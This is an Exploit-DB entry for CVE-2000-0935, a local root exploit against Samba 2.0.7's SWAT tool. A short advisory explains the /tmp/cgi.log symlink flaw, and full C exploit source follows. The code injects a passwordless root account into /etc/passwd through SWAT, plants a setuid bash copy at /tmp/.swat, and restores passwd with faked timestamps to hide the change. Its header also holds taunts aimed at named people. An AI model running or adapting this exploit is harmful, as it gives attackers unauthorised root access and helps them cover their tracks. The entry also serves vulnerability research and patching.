SAMBA 2.0.7 SWAT Symlink Vulnerability 1

2000-11-01T00:00:00
ID EDB-ID:20338
Type exploitdb
Reporter Optyx
Modified 2000-11-01T00:00:00

Description

SAMBA 2.0.7 SWAT Symlink Vulnerability (1). CVE-2000-0935. Local exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/1872/info

The Samba software suite is a collection of programs that implements the SMB protocol for unix systems, allowing you to serve files and printers to Windows, NT, OS/2 and DOS clients. This protocol is sometimes also referred to as the LanManager or Netbios protocol. Samba ships with a utility titled SWAT (Samba Web Administration Tool) which is used for remote administration of the Samba server and is by default set to run from inetd as root on port 701. Certain versions of this software ship with a vulnerability local users can use to leverage root access. 

This problem in particular is a symlink problem where user can take advantage of poor programming in SWAT's logging facilities (which are not enabled by default) to overwrite files with user specified data. In this case, the logging is enabled under SWAT it logs by default to:

/tmp/cgi.log

This file logs all traffic to the web service, regrettably this file does not have restrictive permissions set on it and local users may symlink 
the file to any other file (which they have read access to) on the system. They can then connect to the port in question (701 by default) and have the data they type in entered into a file of their choice, typically /etc/passwd .

/****************************************************************************\
**                                                                          **
**   Swat exploit for Samba 2.0.7 compiled with the cgi logging turned on   **
**                                                                          **
**   shell script version available for our friends, the self-proclaimed    **
**   security experts at corky.net (h4h32h4h4h4h4), using netcat, as they   **
**   deem more elegant than a self-contained exploit (ala this .c), l4m3    **
**   exploit by optyx <optyx@uberhax0r.net>                                 **
**   vulnerability discoverd by miah <miah@uberhax0r.net>                   **
**                                                                          **
**   on a side note, Just Marc rocks, so much, he doesn't set an sa pass    **
**   on his mysql server (doesn't take an elite hacker to use mysqlclient)  **
**   oh and a special message:                                              **
**   Hey babe, your hair's alright Hey babe, let's go out tonight (h4h4h)   **
**                                                                          **
\****************************************************************************/                  
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define REALLY_FUCKING_LONG_COMMAND "su uberhaxr -c \"cp -pdf /tmp/.bak \
/etc/passwd; chown root.root /etc/passwd; touch -fr /tmp/.bak /etc/passwd\""

int main(void) {

   int r, s;
   struct sockaddr_in s_addr;
   
   printf("backing up /etc/passwd\n");
   system("cp -pd /etc/passwd /tmp/.bak");
   system("touch -r /etc/passwd /tmp/.bak");

   if(system("/bin/ln -sf /etc/passwd /tmp/cgi.log") > 0) {
      printf("error, /tmp/cgi.log could not be linked to /etc/passwd\n");
      unlink("/tmp/.bak");
      exit(-1);
   }

   printf("connecting to swat\n");
   s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

   if(s < 0) {
      printf("error, could not create socket\n");
      unlink("/tmp/.bak");
      unlink("/tmp/cgi.log");
      exit(-1);
   }

   s_addr.sin_family = PF_INET;
   s_addr.sin_port = htons(901);
   s_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
   r = connect(s, (struct sockaddr *) &s_addr, sizeof(s_addr));

   if(r==-1) {
      printf("error, cannot connect to swat\n");
      unlink("/tmp/.bak");
      unlink("/tmp/cgi.log");
      exit(-1);
   }

   send(s, "uberhaxr::0:0:optyx r0x y3r b0x:/:/bin/bash\n", 1024, 0);
   close(s);

   if(system("su -l uberhaxr -c \"cp -f /bin/bash /tmp/.swat\"") > 0) {
      printf("exploit failed\n");
      unlink("/tmp/.bak");
      unlink("/tmp/cgi.log");
      exit(-1);
   }

   system("su -l uberhaxr -c \"chmod u+s /tmp/.swat\"");
   printf("restoring /etc/passwd\n");   
   system(REALLY_FUCKING_LONG_COMMAND);
   unlink("/tmp/.bak");
   unlink("/tmp/cgi.log");
   printf("got root? (might want to rm /tmp/.swat)\n");
   system("/tmp/.swat"); 
     
   return 0; 
}